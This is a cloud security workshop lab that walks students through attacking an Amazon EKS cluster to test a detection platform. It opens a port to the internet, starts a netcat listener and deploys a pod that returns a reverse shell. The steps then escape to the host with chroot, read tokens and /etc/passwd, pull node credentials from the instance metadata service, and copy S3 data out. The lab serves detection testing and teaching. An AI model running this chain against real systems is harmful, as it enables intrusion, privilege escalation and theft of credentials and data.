Aviata Cloud Solo Flight Challenge (Attack the EKS)
Introduction
Estimated Time: 30 minutes
You have been tasked to test the detection capabilities of the Aviata Cloud Security Platform. You will be attacking a Kubernetes cluster to see if the platform can detect the attack.
- Investigate how to access the Kubernetes cluster
- Setup a Netcat listener
- Deploy a reverse shell to the Kubernetes cluster
- Interact with the reverse shell
Running the Netcat Listener and Deploying the Reverse Shell
-
Lets take a look at the permissions we have in AWS. Remember, run all of these commands from the Flight Simulator EC2 Instances with Firefox and SmartProxy installed.
Look at permissions of the current user
aws sts get-caller-identity
Sample Results
{ "UserId": "AIDAJJQ7Q7Q7Q7Q7Q7Q7Q:i-0cfc4d468a4a86159", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159" }
List the EKS clusters
aws eks list-clusters
Sample Results
{ "clusters": [ "aviata-eks-cluster" ] }
We have a single cluster called
aviata-eks-cluster
. Because we are operating from the Simulator, a jump box, we have access to the management plane of the EKS cluster. -
To access a Kubernetes Cluster, we will use
kubectl
, a Kubernetes command line tool. It relies on a configuration file to know how to connect to the cluster. EKS leverages the AWS Identity Access Management service for accessing resources, but we can ask AWS to generate the configuration file for us.Update the kubeconfig file
aws eks update-kubeconfig \ --region us-east-2 \ --name aviata-eks-cluster
Sample Results
Updated context arn:aws:eks:us-east-2:123456789012:cluster/aviata-eks-cluster in /home/student/.kube/config
-
A config file has been generated and stored locally where
kubectl
can get to it. Take a quick look.Cat the kubectl file
cat ~/.kube/config
Sample Results
apiVersion: v1 clusters: - cluster: server: https://EKS-CLUSTER-NAME <snip>
This results in a large file that provides connection information that
kubectl
uses to connect to the Kubernetes cluster.Who am I in the Kubernetes Cluster
kubectl auth whoami
Sample Results
ATTRIBUTE VALUE Username arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159 UID aws-iam-authenticator:123456789012:AROATTLINRPJPRY3SZI6X Groups [system:authenticated] Extra: accessKeyId [ASIATTLINRPJMW4JFXP6] Extra: arn [arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159] Extra: canonicalArn [arn:aws:iam::123456789012:role/ace135-related-teal] Extra: principalId [AROATTLINRPJPRY3SZI6X] Extra: sessionName [i-0cfc4d468a4a86159]
We are now connected to the Kubernetes cluster. We can see that we are connected as the
ace135-related-teal
role. This role has the ability to interact with the Kubernetes cluster.
Attacking the Kubernetes Cluster
As we discussed, there are a number of ways we can get initial access to a Kubernetes cluster. In this case, we will assume the attacker has already gained the credentials, and we will use them to make changes to the cluster. Lets add a reverse shell.
-
We need to open up a security group port to allow a reverse shell to communicate with our virtual machine. We will use port 9999.
Get the ID of our instance
Here we will use the Instance Metadata Service to get the unique ID of the instance and store it to a variable.
INSTANCE_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id) echo "Instance ID: $INSTANCE_ID"
Get the ID of the security group
Get the ID of the security group for that instance. We know that there is only one security group associated with the instance.
SECURITY_GROUP_ID=$(aws ec2 describe-instances \ --instance-ids $INSTANCE_ID \ --query 'Reservations[0].Instances[0].SecurityGroups[0].GroupId' \ --output text) echo "Security Group ID: $SECURITY_GROUP_ID"
Open up port 9999 in the security group
Now we will let port 9999 be open to the world. This will allow the reverse shell to connect back to our "Flight Simulator" jumpbox we are on.
aws ec2 authorize-security-group-ingress \ --group-id $SECURITY_GROUP_ID \ --protocol tcp \ --port 9999 \ --cidr "0.0.0.0/0"
Sample Results
{ "Return": true, "SecurityGroupRules": [ { "SecurityGroupRuleId": "sgr-0984050272435bf93", "GroupId": "sg-02c34946ee0e5ec54", "GroupOwnerId": "123456789012", "IsEgress": false, "IpProtocol": "tcp", "FromPort": 9999, "ToPort": 9999, "CidrIpv4": "0.0.0.0/0" } ] }
We now have port 9999 open to the world. We want to connect over the internet to simulate an external listener.
-
We are going to deploy a new Kubernetes pod that will initiate the reverse shell. We already have a template
yaml
file, we only need to edit the IP address. Get the IP address of the current EC2 instance.Get the IP address of the current EC2
export PUBLIC_IP=$(curl -s http://169.254.169.254/latest/meta-data/public-ipv4) echo $PUBLIC_IP
Sample Results
3.148.107.52
-
We need to update the task file that tells the Kubernetes cluster what POD to deploy and how to configure it. We have a template file that we will use to create the
revshell.yaml
file. We will update the IP address in the file to match the IP address of the EC2 instance.Look at the template file with the VSCode editor
The file is located in
code/ace135/chapter4/revshell_template.yaml
There are some sections to notice in this template file. - The
containers
describes the image that will be deployed.raesene/ncat
is in Dockerhub and is a simple Netcat image. - The pod's name will bencat-reverse-shell-pod
. Not very stealthy. -Volumes
are used to map the host system to the container. This is how we will interact with the host system. We will use this to steal files from the host system. - Theargs
section is where we need to provide the public IP address of the EC2 instance. We will use theenvsubst
command to replace the IP address in the file.Create a new file with the IP address
Use
envsubst
to replace the IP address in the template file with the IP address of the EC2 instance.cd ~/code/ace135/docs/chapter4/ cat revshell_template.yaml | envsubst > revshell.yaml
Open the new revshell.yaml file
New file has been created. Open it in the VSCode editor.
-
Get a new terminal open in VSCode by splitting the terminal. 1) In the bottom right corner, you will see the
+
sign. 2) Look for theSplit Terminal
option, then 3) selectbash
type. That will open two terminals. -
Now that we have our
revshell.yaml
file updated, we need to turn on our Netcat listener. We need to open two terminals in VSCode. Open a second . In the other terminal, we will apply therevshell.yaml
file.Start the Netcat listener in the first terminal
nc -lvp 9999
Sample Results
Listening on 0.0.0.0 9999
This is your command window. Here is where we will be running our commands on the remote system.
-
In the second terminal, we will apply the
revshell.yaml
file. This will deploy a pod to the Kubernetes cluster that will connect back to our Netcat listener.Apply the revshell.yaml file
cd ~/code/ace135/docs/chapter4 kubectl apply -f revshell.yaml
Sample Results
In or other terminal, you should see the connection from the pod to the Netcat listener.
Connection received on ec2-3-15-52-57.us-east-2.compute.amazonaws.com 54986 root
Be Patient
It can take a minute or two before the connection is established.
From the Reverse Shell, move to the EKS Cluster Instance
-
You should now see a connection in the Netcat listener. You can interact with the shell. Try running some commands like
whoami
,hostname
,ls
, andcat /var/run/secrets/kubernetes.io/serviceaccount/token
. -
We can go further, look at the revshell.yaml. It is mapping to the host system, the actual EKS VM itself. We can use this to steal files from the EKS VM. Try running
ls /
andcat /etc/passwd
. Use chroot to change the apparent root directory for the current running process. This will allow to execute commands as a user on the node.Chroot
nothing returns, but you are now in the root directory of the EKS VM.chroot /host
Span a shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Sample Results
root@ncat-reverse-shell-pod:/#
-
Now that we have root on the VM supporting EKS, lets use the ole IMDS service to steal some creds.
Add new line to curl commands
echo '-w "\n"' >> ~/.curlrc
Steal the creds
# Acquire Instance Role Name from IMDS curl http://169.254.169.254/latest/meta-data/iam/security-credentials
Sample Results
aviata-node-role-f9f23de5
-
Now, who are we? Who owns this shell? What system are we on? Looking at our local user, and our AWS STS role, we can see that we are on an EC2 instance in the EKS cluster.
Who are we?
whoami
Sample Results
root
What system are we on?
hostname
Sample Results
ncat-reverse-shell-pod
What is our AWS STS role?
aws sts get-caller-identity
Sample Results
{ "UserId": "AIDAJJQ7Q7Q7Q7Q7Q7Q7Q:i-0cfc4d468a4a86159", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/aviata-node-role-f9f23de5/i-0cfc4d468a4a86159" }
That ARN is the give away. WE are on the
aviata
cluster node, running as ROOT!
Stealing Flight Plans
-
We are on an EC2 instance running in the EKS cluster. We can use the AWS CLI to interact with the EKS cluster. We can also use the AWS CLI to interact with the S3 bucket. Lets list the S3 buckets, but first lets turn off "AWS PAGER" so we can see the results.
List the S3 buckets
export AWS_PAGER="" aws s3 ls
Sample Results
2024-07-21 17:31:27 aviata-audit-logs-abcd1234 2024-07-21 17:31:17 aviata-abcd1234 <snip>
-
You can see the bucket that was created for this workshop. It might have some juicy stuff in there. Using the s3 bucket name from above, copy the data.
Set the bucket name for your deployment (buckets have to be unique).
Remember to replace the
aviata-abcd1234
with your bucket name.BUCKET_NAME=aviata-abcd1234
Copy the files from the S3 bucket
aws s3api list-objects \ --bucket $BUCKET_NAME \ --query 'Contents[].Key' \ --output json
Sample Results
[ "flightplans/cascadia-explorer.txt", "flightplans/ny-la-express.txt", "flightplans/shadowhawk.txt", "flightplans/thames-to-seine.txt", "pilots/pilots.csv" ]
-
As an attacker, we have some sensitive documents that we can copy. Let's copy all of these files to the local VM.
Copy the files from the S3 bucket
aws s3 cp s3://$BUCKET_NAME /tmp --recursive
Sample Results
download: s3://aviata-f9f23de5/flightplans/cascadia-explorer.txt to tmp/flightplans/cascadia-explorer.txt download: s3://aviata-f9f23de5/flightplans/thames-to-seine.txt to tmp/flightplans/thames-to-seine.txt download: s3://aviata-f9f23de5/pilots/pilots.csv to tmp/pilots/pilots.csv download: s3://aviata-f9f23de5/flightplans/shadowhawk.txt to tmp/flightplans/shadowhawk.txt download: s3://aviata-f9f23de5/flightplans/ny-la-express.txt to tmp/flightplans/ny-la-express.txt
List the files in the /tmp directory
ls /tmp/flightplans
Sample Results
cascadia-explorer.txt ny-la-express.txt shadowhawk.txt thames-to-seine.txt
Feel free to check out the files, is anything interesting in there?
You have now successfully attacked the Kubernetes cluster and stolen some sensitive data. Let's see what is next in the workshop.